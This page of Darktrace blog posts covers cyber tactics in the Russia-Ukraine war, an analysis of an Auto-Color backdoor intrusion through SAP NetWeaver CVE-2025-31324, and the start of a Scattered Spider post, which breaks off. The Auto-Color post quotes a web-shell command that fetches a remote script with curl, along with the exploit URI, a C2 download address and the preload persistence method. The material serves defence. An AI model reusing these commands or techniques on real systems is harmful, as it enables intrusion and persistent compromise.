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August 9, 2022

Cyber Tactics in the Russo-Ukrainian Conflict

The conflict between Russia and Ukraine has led to fears of a full-scale cyberwar. Learn the cyber attack tactics used, hacking groups involved, and more!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Rosa Jong
OSINT Analyst
Written by
Taisiia Garkava
Security Analyst
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09
Aug 2022

Introduction

Since the beginning of the Russian invasion of Ukraine in February 2022, cyber communities around the world have been witnessing what can be called a ‘renaissance of cyberwarfare' [1]. Rather than being financially motivated, threat actors are being guided by political convictions to defend allies or attack their enemies. This blog reviews some of the main threat actors involved in this conflict and their ongoing tactics, and advises on how organizations can best protect themselves. Darktrace’s preliminary assessments predicted that attacks would be observed globally with a focus on pro-Ukrainian nations such as North Atlantic Treaty Organization (NATO) members and that identified Advanced Persistent Threat (APT) groups would develop new and complex malware deployed through increasingly sophisticated attack vectors. This blog will show that many of these assessments had unexpected outcomes.

Context for Conflict 

Cyber confrontation between Russia and Ukraine dates back to 2013, when Viktor Yanukovych, (former President of Ukraine) rejected an EU trade pact in favour of an agreement with Russia. This sparked mass protests leading to his overthrow, and shortly after, Russian troops annexed Crimea and initiated the beginning of Russian-Ukrainian ground and cyber warfare. Since then, Russian threat actors have been periodically targeting Ukrainian infrastructure. One of the most notable examples of this, an attack against their national power grid in December 2015, resulted in power outages for approximately 255,000 people in Ukraine and was later attributed to the Russian hacking group Sandworm [2 & 3]. 

Another well-known attack in June 2017 overwhelmed the websites of hundreds of Ukrainian organizations using the infamous NotPetya malware. This attack is still considered the most damaging cyberattack in history, with more than €10 billion euros in financial damage [4]. In February 2022, countries witnessed the next stage of cyberwar against Ukraine with both new and familiar actors deploying various techniques to target their rival’s critical infrastructure. 

Tactic 1: Ransomware

Although some sources suggest US ransomware incidents and expectations of ransom may have declined during the conflict, ransomware still remained a significant tactic deployed globally across this period [5] [6] [7]. A Ukrainian hacking group, Network Battalion 65 (NB65), used ransomware to attack the Russian state-owned television and radio broadcasting network VGTRK. NB65 managed to steal 900,000 emails and 4000 files, and later demanded a ransom which they promised to donate to the Ukrainian army. This attack was unique because the group used the previously leaked source code of Conti, another infamous hacker group that had pledged its support to the Russian government earlier in the conflict. NB65 modified the leaked code to make unique ransomware for each of its targets [5]. 

Against expectations, Darktrace’s customer base appeared to deviate from these ransom trends. Analysts have seen relatively unsophisticated ransomware attacks during the conflict period, with limited evidence to suggest they were connected to any APT activity. Between November 2021 and June 2022, there were 51 confirmed ransomware compromises across the Darktrace customer base. This represents an increase of 43.16% compared to the same period the year before, accounting for relative customer growth. Whilst this suggests an overall growth in ransom cases, many of these confirmed incidents were unattributed and did not appear to be targeting any particular verticals or regions. While there was an increase in the energy sector, this could not be explicitly linked to the conflict. 

The Darktrace DETECT family has a variety of models related to ransomware visibility:

Darktrace Detections for T1486 (Data Encrypted for Impact):

- Compromise / Ransomware / Ransom or Offensive Words Written to SMB

- Compromise / Ransomware / Suspicious SMB Activity

- Anomalous Connection / Sustained MIME Type Conversion

- Unusual Activity / Sustained Anomalous SMB Activity

- Compromise / Ransomware / Suspicious SMB File Extension

- Unusual Activity / Anomalous SMB Read & Write

- Unusual Activity / Anomalous SMB Read & Write from New Device

- SaaS / Resource / SaaS Resources with Additional Extensions

- Compromise / Ransomware / Possible Ransom Note Read

- [If RESPOND is enabled] Antigena / Network / External Threat / Antigena Ransomware Block

Tactic 2: Wipers

One of the largest groups of executables seen during the conflict were wipers. On the eve of the invasion, Ukrainian organizations were targeted by a new wiper malware given the name “HermeticWiper”. Hermetic refers to the name of the Cyprian company “Hermetica Digital Ltd.” which was used by attackers to request a code signing certificate [6]. Such a digital certificate is used to verify the ownership of the code and that it has not been altered. The 24-year-old owner of Hermetica Digital says he had no idea that his company was abused to retrieve a code signing certificate [7]. 

HermeticWiper consists of three components: a worm, decoy ransomware and the wiper malware. The custom worm designed for HermeticWiper was used to spread the malware across the network of its infected machines. ESET researchers discovered that the decoy ransomware and the wiper were released at the same time [8]. The decoy ransomware was used to make it look like the machine was hit by ransomware, when in reality the wiper was already permanently wiping data from the machines. In the attack’s initial stage, it bypasses Windows security features designed to prevent overwriting boot records by installing a separate driver. After wiping data from the machine, HermeticWiper prevents that data from being re-fragmented and overwrites the files to fragment it further. This is done to make it more challenging to reconstruct data for post-compromise forensics [9]. Overall, the function and purpose of HermeticWiper seems similar to that of NotPetya ransomware. 

HermeticWiper is not the only conflict-associated wiper malware which has been observed. In January 2022, Microsoft warned Ukrainian customers that they detected wiper intrusion activity against several European organizations. One example of this was the MBR (Master Boot Record) wiper. This type of wiper overwrites the MBR, the disk sector that instructs a computer on how to load its operating system, with a ransomware note. In reality, the note is a misdirection and the malware destroys the MBR and targeted files [10].  

One of the most notable groups that used wiper malware was Sandworm. Sandworm is an APT attributed to Russia’s foreign military intelligence agency, GRU. The group has been active since 2009 and has used a variety of TTPs within their attacks. They have a history of targeting Ukraine including attacks in 2015 on Ukraine’s energy distribution companies and in 2017 when they used the aforementioned NotPetya malware against several Ukrainian organizations [11]. Another Russian (or pro-Russian) group using wiper malware to target Ukraine is DEV-0586. This group targeted various Ukrainian organizations in January 2022 with Whispergate wiper malware. This type of wiper malware presents itself as ransomware by displaying a file instructing the victim to pay Bitcoin to have their files decrypted [12].  

Darktrace did not observe any confirmed cases of HermeticWiper nor other conflict-associated wipers (e.g IsaacWiper and CaddyWiper) within the customer base over this period. Despite this, Darktrace DETECT has a variety of models related to wipers and data destruction:

Darktrace Detections for T1485 (Data Destruction)- this is the main technique exploited during wiper attacks

- Unusual Activity / Anomalous SMB Delete Volume

- IaaS / Unusual Activity / Anomalous AWS Resources Deleted

- IaaS / Storage / S3 Bucket Delete

- SaaS / Resource / Mass Email Deletes from Rare Location

- SaaS / Resource / Anomalous SaaS Resources Deleted

- SaaS / Resource / Resource Permanent Delete

- [If RESPOND is enabled] Antigena / Network / Manual / Enforce Pattern of Life

- [If RESPOND is enabled] Antigena / SaaS / Antigena Unusual Activity Block

Tactic 3: Spear-Phishing

Another strategy that some threat actors employ is spear-phishing. Targeting can be done using email, social media, messaging, or other platforms.

The hacking group Armageddon (also known as Gamaredon) has been responsible for several spear-phishing attacks during the crisis, primarily targeting individuals involved in the Ukrainian Government [13]. Since the beginning of the war, the group has been sending out a large volume of emails containing an HTML file which, if opened, downloads and launches a RAR payload. Those who click the attached link download an HTA with a PowerShell script which obtains the final Armageddon payload. Using the same strategy, the group is also targeting governmental agencies in the European Union [14]. With high-value targets, the need to improve teaching around phishing identification to minimize the chance of being caught in an attacker's net is higher than ever. 

In comparison to the wider trends, Darktrace analysts again saw little-to-no evidence of conflict-associated phishing campaigns affecting customers. Those phishing attempts which did target customers were largely not conflict-related. In some cases, the conflict was used opportunistically, such as when one customer was targeted with a phishing email referencing Russian bank exclusions from the SWIFT payment system (Figures 1 and 2). The email was identified by Darktrace/Email as a probable attempt at financial extortion and inducement - in this case the company received a spoofed email from a major bank’s remittance department.  

Figure 1- Screencap of targeted phishing email sent to Darktrace customer
Figure 2- Attached file contains soliciting reference to SWIFT, a money payment system which select Russian banks were removed from because of the conflict [15]

 Although the conflict was used as a reference in some examples, in most of Darktrace’s observed phishing cases during the conflict period there was little-to-no evidence to suggest that the company being targeted nor the threat actor behind the phishing attempt was associated with or attributable to the Russia-Ukraine conflict.

However, Darktrace/Email has several model categories which pick up phishing related threats:

Sample of Darktrace for Email Detections for T1566 (Phishing)- this is the overarching technique exploited during spear-phishing events

Model Categories:

- Inducement

- Internal / External User Spoofing

- Internal / External Domain Spoofing

- Fake Support

- Link to Rare Domains

- Link to File Storage

- Redirect Links

- Anomalous / Malicious Attachments

- Compromised Known Sender

Specific models can be located on the Email Console

 

Tactic 4: Distributed-Denial-of-Service (DDoS)

Another tactic employed by both pro-Russian and pro-Ukrainian threat actors was DDoS (Distributed Denial of Service) attacks. Both pro-Russia and pro-Ukraine actors were seen targeting critical infrastructure, information resources, and governmental platforms with mass DDoS attacks. The Ukrainian Minister of Digital Transformation, Mykhailo Fedorov, called on an IT Army of underground Ukrainian hackers and volunteers to protect Ukraine's critical infrastructure and conduct DDoS attacks against Russia [16]. As of 1 August 2022, more than two hundred thousand people are subscribed to the group's official Telegram channel, where potential DDoS targets are announced [17].

Darktrace observed similar pro-Ukraine DDoS behaviors within a variety of customer environments. These DDoS campaigns appeared to involve low-volume individual support combined with crowd-sourced DDoS activity. They were hosted on a range of public-sourced DDoS sites and seemed to share sentiments of groups such as the IT Army of Ukraine (Figure 3).

Figure 3- Example DDoS outsource domain with unusual TLD 

From the Russian side, one of the prominent newly emerged groups, Killnet, is striking back, launching several massive DDoS attacks against the critical infrastructure of countries that provide weaponry to Ukraine [18 & 19]. Today, the number of supporters of Killnet has grown to eighty-four thousand on their Telegram channel. The group has already launched a number of mass attacks on several NATO states, including Germany, Poland, Italy, Lithuania and Norway. This shows the conflict has attracted new and fast-growing groups with large backing and the capacity to undertake widespread attacks. 

DETECT has several models to identify anomalous DoS/DDoS activity:

Darktrace Detection for T1498 (Network Denial of Service)- this is the main technique exploited during DDoS attacks

- Device / Anomaly Indicators / Denial of Service Activity Indicator

- Anomalous Server Activity / Possible Denial of Service Activity

- [If RESPOND is enabled] Antigena / Network / External Threat / Antigena Suspicious Activity Block

What did Darktrace observe?

Darktrace’s cross-fleet detections were largely contrary to expectations. Analysts did not see large-scale complex conflict-linked attacks utilizing either conflict-associated ransomware, malware, or other TTPs. Instead, cyber incidents observed were largely opportunistic, using malware that could be purchased through Malware-as-a-Service models and other widely available toolkits, (rather than APT or conflict-attributable attacks). Overall, this is not to say there have been no repercussions from the conflict or that opportunistic attacks will cease, but evidence suggests that there were fewer wider cyber consequences beyond the initial APT-based attacks seen in the public forum. 

Another trend expected since the beginning of the conflict was targeted responses to sanction announcements focusing on NATO businesses and governments. Analysts, however, saw the limited reactive actions, with little-to-no direct impact from sanction announcements. Although cyber-attacks on some NATO organizations did take place, they were not as widespread or impactful as expected. Lastly, it was thought that exposure to new and sophisticated exploits would increase and be used to weaken NATO nations - especially corporations in critical industries. However, analysts observed relatively common exploits deployed indiscriminately and opportunistically. Overall, with the wider industry expecting chaos, Darktrace analysts did not see the crisis taken advantage of to target wider businesses outside of Ukraine. Based on this comparison between expectations and reality, the conflict has demonstrated the danger of  falling prey to confirmation bias and the need to remain vigilant and expect the unexpected. It may be possible to say that cyberwar is ‘cold’ right now, however the element of surprise is always present, and it is better to be prepared to protect yourself and your organization.    

What to Expect from the Future

As cyberattacks continue to become less monetarily and physically costly, it is to be expected that they will increase in frequency. Even after a political ceasefire is established, hacking groups can harbour resentment and continue their attacks, though possibly on a smaller scale.  

Additionally, the longer this conflict continues, the more sophisticated hacking groups’s attacks may become. In one of their publications, Killnet shared with subscribers that they had created ‘network weaponry’ powerful enough to simultaneously take down five European countries (Figure 4) [20]. Whether or not this claim is true, it is vital to be prepared. The European Union and the United States have supported Ukraine since the start of the invasion, and the EU has also stated that it is considering providing further assistance to help Ukraine in cyberspace [21].

Figure 4- Snapshot of Killnet Telegram announcement

How to Protect Against these Attacks

In the face of wider conflict and cybersecurity tensions, it is crucial that organizations evaluate their security stack and practise the following: 

·       Know what your critical assets are and what software is running on them. 

·       Keep your software up to date. Prioritize patching critical and high vulnerabilities that allow remote code execution. 

·       Enforce Multifactor Authentication (MFA) to the greatest extent possible. 

·       Require the use of a password manager to generate strong and unique passwords for each separate account. 

·       Backup all the essential files on the cloud and external drives and regularly maintain them. 

·       Train your employees to recognize phishing emails, suspicious websites, infected links or other abnormalities to prevent successful compromise of email accounts. 

In order to prevent an organization from suffering damage due to one of the attacks mentioned above, a full-circle approach is needed. This defence starts with a thorough understanding of the attack surface to provide timely mitigation. This can be supported by Darktrace products: 

·       As shown throughout this blog, Darktrace DETECT and Darktrace/Email have several models relating to conflict-associated TTPs and attacks. These help to quickly alert security teams and provide visibility of anomalous behaviors.

·       Darktrace PREVENT/ASM helps to identify vulnerable external-facing assets. By patching and securing these devices, the risk of exploit is drastically reduced.

·       Darktrace RESPOND and RESPOND/Email can make targeted actions to a range of threats such as blocking incoming DDoS connections or locking malicious email links.

Thanks to the Darktrace Threat Intelligence Unit for their contributions to this blog.

Appendices 

Reference List

[1] https://www.atlanticcouncil.org/blogs/ukrainealert/vladimir-putins-ukraine-invasion-is-the-worlds-first-full-scale-cyberwar/ 

[2] https://www.reuters.com/article/us-ukraine-cybersecurity-idUSKCN0VY30K

[3] https://www.reuters.com/article/us-ukraine-cybersecurity-sandworm-idUSKBN0UM00N20160108

[4 & 11] https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/ 

[5] https://www.scmagazine.com/analysis/ransomware/despite-hopes-for-decline-ransomware-attacks-increased-during-russia-ukraine-conflict

[6] https://ransomware.org/blog/has-the-ukraine-conflict-disrupted-ransomware-attacks/

[7] https://www.cfr.org/blog/financial-incentives-may-explain-perceived-lack-ransomware-russias-latest-assault-ukraine

[8] https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/ 

[9] https://voi.id/en/technology/138937/hermetica-owner-from-cyprus-didnt-know-his-server-was-used-in-malicious-malware-attack-in-ukraine 

[10] https://www.reuters.com/article/ukraine-crisis-cyber-cyprus-idCAKBN2KT2QI 

[11] https://www.eset.com/int/about/newsroom/press-releases/research/eset-research-ukraine-hit-by-destructive-attacks-before-and-during-the-russian-invasion-with-hermet/ 

[12] https://blog.malwarebytes.com/threat-intelligence/2022/03/hermeticwiper-a-detailed-analysis-of-the-destructive-malware-that-targeted-ukraine/ 

[13] https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ 

[15] https://www.cisa.gov/uscert/ncas/alerts/aa22-057a 

[16] https://attack.mitre.org/groups/G0047/ 

[17] https://cyware.com/news/ukraine-cert-warns-of-increasing-attacks-by-armageddon-group-850081f8 

[18] https://www.bbc.co.uk/news/business-60521822

[19] https://foreignpolicy.com/2022/04/11/russia-cyberwarfare-us-ukraine-volunteer-hackers-it-army/

[20] https://t.me/itarmyofukraine2022

[21] https://www.csoonline.com/article/3664859/russian-ddos-attack-on-lithuania-was-planned-on-telegram-flashpoint-says.html

[19 & 20] https://flashpoint.io/blog/killnet-kaliningrad-and-lithuanias-transport-standoff-with-russia/ 

[21] https://presidence-francaise.consilium.europa.eu/en/news/member-states-united-in-supporting-ukraine-and-strengthening-the-eu-s-telecommunications-and-cybersecurity-resilience/ 

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Rosa Jong
OSINT Analyst
Written by
Taisiia Garkava
Security Analyst

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July 30, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

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In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.
Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

  • exploit.properties
  • helper.jsp
  • 0KIF8.jsp
  • cmd.jsp
  • test.txt
  • uid.jsp
  • vregrewfsf.jsp

Auto-Color sample:

  • 270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

  • 146[.]70[.]19[.]122
  • 149[.]78[.]184[.]215
  • 196[.]251[.]85[.]31
  • 120[.]231[.]21[.]8
  • 148[.]135[.]80[.]109
  • 45[.]32[.]126[.]94
  • 110[.]42[.]42[.]64
  • 119[.]187[.]23[.]132
  • 18[.]166[.]61[.]47
  • 183[.]2[.]62[.]199
  • 188[.]166[.]87[.]88
  • 31[.]222[.]254[.]27
  • 91[.]193[.]19[.]109
  • 123[.]146[.]1[.]140
  • 139[.]59[.]143[.]102
  • 155[.]94[.]199[.]59
  • 165[.]227[.]173[.]41
  • 193[.]149[.]129[.]31
  • 202[.]189[.]7[.]77
  • 209[.]38[.]208[.]202
  • 31[.]222[.]254[.]45
  • 58[.]19[.]11[.]97
  • 64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

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July 24, 2025

Untangling the web: Darktrace’s investigation of Scattered Spider’s evolving tactics

man on computer doing work scattered spider cybersecurityDefault blog imageDefault blog image

What is Scattered Spider?

Scattered Spider is a native English-speaking group, also referred to, or closely associated with, aliases such as UNC3944, Octo Tempest and Storm-0875. They are primarily financially motivated with a clear emphasis on leveraging social engineering, SIM swapping attacks, exploiting legitimate tooling as well as using Living-Off-the-Land (LOTL) techniques [1][2].

In recent years, Scattered Spider has been observed employing a shift in tactics, leveraging Ransomware-as-a-Service (RaaS) platforms in their attacks. This adoption reflects a shift toward more scalable attacks with a lower barrier to entry, allowing the group to carry out sophisticated ransomware attacks without the need to develop it themselves.

While RaaS offerings have been available for purchase on the Dark Web for several years, they have continued to grow in popularity, providing threat actors a way to cause significant impact to critical infrastructure and organizations without requiring highly technical capabilities [12].

This blog focuses on the group’s recent changes in tactics, techniques, and procedures (TTPs) reported by open-source intelligence (OSINT) and how TTPs in a recent Scattered Spider attack observed by Darktrace compare.

How has Scattered Spider been reported to operate?

First observed in 2022, Scattered Spider is known to target various industries globally including telecommunications, technology, financial services, and commercial facilities.

Overview of key TTPs

Scattered Spider has been known to utilize the following methods which cover multiple stages of the Cyber Kill Chain including initial access, lateral movement, evasion, persistence, and action on objective:

Social engineering [1]:

Impersonating staff via phone calls, SMS and Telegram messages; obtaining employee credentials (MITRE techniques T1598,T1656), multi-factor authentication (MFA) codes such as one-time passwords, or convincing employees to run commercial remote access tools enabling initial access (MITRE techniques T1204,T1219,T1566)

  • Phishing using specially crafted domains containing the victim name e.g. victimname-sso[.]com
  • MFA fatigue: sending repeated requests for MFA approval with the intention that the victim will eventually accept (MITRE technique T1621)

SIM swapping [1][3]:

  • Includes hijacking phone numbers to intercept 2FA codes
  • This involves the actor migrating the victim's mobile number to a new SIM card without legitimate authorization

Reconnaissance, lateral movement & command-and-control (C2) communication via use of legitimate tools:

  • Examples include Mimikatz, Ngrok, TeamViewer, and Pulseway [1]. A more recently reported example is Teleport [3].

Financial theft through their access to victim networks: Extortion via ransomware, data theft (MITRE technique T1657) [1]

Bring Your Own Vulnerable Driver (BYOVD) techniques [4]:

  • Exploiting vulnerable drivers to evade detection from Endpoint Detection and Response (EDR) security products (MITRE technique T1068) frequently used against Windows devices.

LOTL techniques

LOTL techniques are also closely associated with Scattered Spider actors once they have gained initial access; historically this has allowed them to evade detection until impact starts to be felt. It also means that specific TTPs may vary from case-to-case, making it harder for security teams to prepare and harden defences against the group.

Prominent Scattered Spider attacks over the years

